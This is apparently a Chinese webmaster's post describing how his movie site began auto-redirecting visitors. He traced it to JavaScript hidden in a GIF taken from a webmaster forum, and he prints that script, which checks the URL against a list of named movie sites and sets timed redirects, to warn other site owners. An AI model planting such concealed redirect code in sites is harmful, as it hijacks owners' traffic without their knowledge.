本人的小站 经过近一年的努力,现在日IP终于上万了,正在高兴时,突然一个网汪告诉我说,我的站出问题,看电影看不了一会就自动转跳到别人站上去了,一惊之下,赶紧查看源代码,可是一看源码没出什么问题啊,也没多出什么东西啊。
马上又一想,是不是服务器给挂马了,马上和机房联系,让机房查看,回答说服务器正常。那就怪了,只要是在网页上停留超过5分钟,马上就自动转跳了,经过近2小时的排查,终于发现病根源于一张GIF的图片
这张图片来源于 站长站论坛 地址
下面是他的JS源码
var searchString = document.URL;
var pos = searchString.indexOf ("www.tudoutv.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",000000)
}
pos = searchString.indexOf ("94qq.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",300000)
}
pos = searchString.indexOf ("5kan5.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",800000)
}
pos = searchString.indexOf ("94qq.cn/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",600000)
}
pos = searchString.indexOf ("aidsj.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",600000)
}
pos = searchString.indexOf ("aakan.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",600000)
}
pos = searchString.indexOf ("22ku.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",600000)
}
pos = searchString.indexOf ("66kan.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",600000)
}
pos = searchString.indexOf ("akvod.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",300000)
}
pos = searchString.indexOf ("dvd0731.com/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",300000)
}
pos = searchString.indexOf ("mofei.com.cn/暂时");
if (pos > 0) {
self.setTimeout("self.location.href = '';",100000)
}
var pos = searchString.indexOf ("920575.cn/");
if (pos > 0) {
self.setTimeout("self.location.href = '';",300000)
}
从这里可以看到还有好几个站长也是受害者,希望看到我这篇文章后,赶紧检查下自己的站 同时也想问问 wodedvd. 的站长,你这样算什么本事?黑客?有本事你去给百度挂马啊,都是个人站长,你这样算什么?做什么事情都得问问自己的良心。
做站如同做人,如果心态不对了,做什么都不对了。。。。

QQ客服